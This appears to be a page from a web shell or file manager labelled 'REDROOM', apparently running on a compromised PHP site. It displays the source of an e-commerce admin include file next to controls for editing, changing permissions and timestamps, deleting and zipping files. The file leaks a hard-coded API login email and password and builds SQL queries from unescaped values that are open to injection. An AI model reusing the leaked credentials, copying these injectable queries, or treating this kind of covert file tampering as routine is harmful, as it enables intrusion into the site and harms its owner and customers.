REDROOM
PHP 7.4.33
Path:
Logout
Edit File
Size: 5.38 KB
Close
/home/godevadmin/public_html/admin/include/functions-phoncart.php
Text
Base64
<?php function generateSlug($name, $tbl, $id) { $newurl = str_replace(" - ", " ", $name); $newurl = str_replace("&", "", $newurl); $newurl = str_replace(",", " ", $newurl); $myurl = str_replace("--", "-", str_replace("%", "", str_replace(" ", "-", str_replace("-", " ", trim(str_replace("/", " ", str_replace(".", "", $newurl))))))); $myurl = strtolower($myurl); $query = mysqli_query($GLOBALS['conn'], "select id from $tbl where slug='$myurl' "); if (mysqli_num_rows($query) > 0) { $myurl = $myurl . $id; mysqli_query($GLOBALS['conn'], "update $tbl set slug='$myurl' where id='$id' "); } else { mysqli_query($GLOBALS['conn'], "update $tbl set slug='$myurl' where id='$id' "); } } function buildURL($url) { $newurl = str_replace(" - ", " ", $url); $myurl = str_replace("--", "-", str_replace("?", "", str_replace("!", "", str_replace("&", "", str_replace("%", "", str_replace(" ", "-", str_replace("-", " ", trim(str_replace("/", " ", str_replace(",", "", str_replace(".", "", str_replace("'", "", $newurl)))))))))))); return stripslashes(strtolower($myurl)); } function buildURLAlcohol($url) { $newurl = str_replace(" - ", " ", $url); $myurl = str_replace("--", "-", str_replace("?", "", str_replace("!", "", str_replace("&", "", str_replace("%", "", str_replace(" ", "-", str_replace("-", " ", trim(str_replace("/", " ", str_replace(",", "", $newurl)))))))))); return stripslashes(strtolower($myurl)); } function parseInput($val) { return mysqli_real_escape_string(stripslashes($val)); } function callAPI($method, $url, $data = false){ $curl = curl_init(); switch ($method) { case "POST": curl_setopt($curl, CURLOPT_POST, 1); if ($data) curl_setopt($curl, CURLOPT_POSTFIELDS, $data); break; case "PUT": curl_setopt($curl, CURLOPT_PUT, 1); break; default: if ($data) $url = sprintf("%s?%s", $url, http_build_query($data)); } // Optional Authentication: curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($curl, CURLOPT_USERPWD, "username:password"); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($curl); $result = json_decode($result); curl_close($curl); return $result; } function grabIpInfo($clientIPAddress) { $LocationArray = json_decode( file_get_contents('http://ip-get-geolocation.com/api/json/'.$clientIPAddress), true); $euCountries = [ "DE", "AT", "BE", "BG", "CY", "HR", "DK", "ES", "EE", "FI", "FR", "GR", "HU", "IE", "IT", "LV", "LT", "LU", "MT", "NL", "PL", "PT", "CZ", "RO", "GB", "SK", "SI", "SE","GB","GB-ENG","GB-NIR","GB-SCT" ]; if(in_array($LocationArray['countryCode'],$euCountries)) { return false; } //print_r($LocationArray); return true; } //FUNCTION TO GET STORE DETAILS USING API function callStoreAPI($method, $url, $data){ $tokenData = callAPI('POST', WEBAPI_URL_NEW.'login',array("email"=>"web-app@quicklly.com", "password"=>"cgcptcu97b")); $token = $tokenData->token; $data['token'] = $token; $url = str_replace(API_URL, WEBAPI_URL_NEW, $url); $curl = curl_init(); switch ($method){ case "POST": curl_setopt($curl, CURLOPT_POST, 1); if ($data) curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data)); break; case "PUT": curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "PUT"); if ($data) curl_setopt($curl, CURLOPT_POSTFIELDS, $data); break; default: if ($data) $url = sprintf("%s?%s", $url, http_build_query($data)); } // OPTIONS: curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HTTPHEADER, array( 'APIKEY: '.API_KEY, 'Content-Type: application/json', )); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // EXECUTE: $result = ''; if(curl_exec($curl) === false) { $result = 'Curl error: ' . curl_error($curl); } else{ $result = curl_exec($curl); } curl_close($curl); return $result; } function getDeliveryDatesfromApi($storeid,$zipcode,$section,$deliverytype) { $todayorrderlistarray['callFrom']=callFrom; $todayorrderlistarray['apiKey']=API_KEY; $todayorrderlistarray['zipcode']=$zipcode; $todayorrderlistarray['lstStoreSection'][0]['section']="$section"; $todayorrderlistarray['lstStoreSection'][0]['sid']="$storeid"; $todayorrderlistarray['lstStoreSection'][0]['data']="$deliverytype"; $data=json_encode($todayorrderlistarray); $url = API_URL.'/common/get-delivery-info'; // Create a new cURL resource $ch = curl_init($url); // Setup request to send json via POST $payload =$data; // Attach encoded JSON string to the POST fields curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); // Return response instead of outputting curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Execute the POST request $result = curl_exec($ch); return $result; // Close cURL resource curl_close($ch); } ?>
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
bt-production.php
649 B
lrwxrwxr-x
2023-11-07 19:59:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
bt-sandbox.php
649 B
lrwxrwxr-x
2023-11-07 19:59:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
functions-phoncart.php
5.38 KB
lrwxrwxr-x
2023-11-07 19:59:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).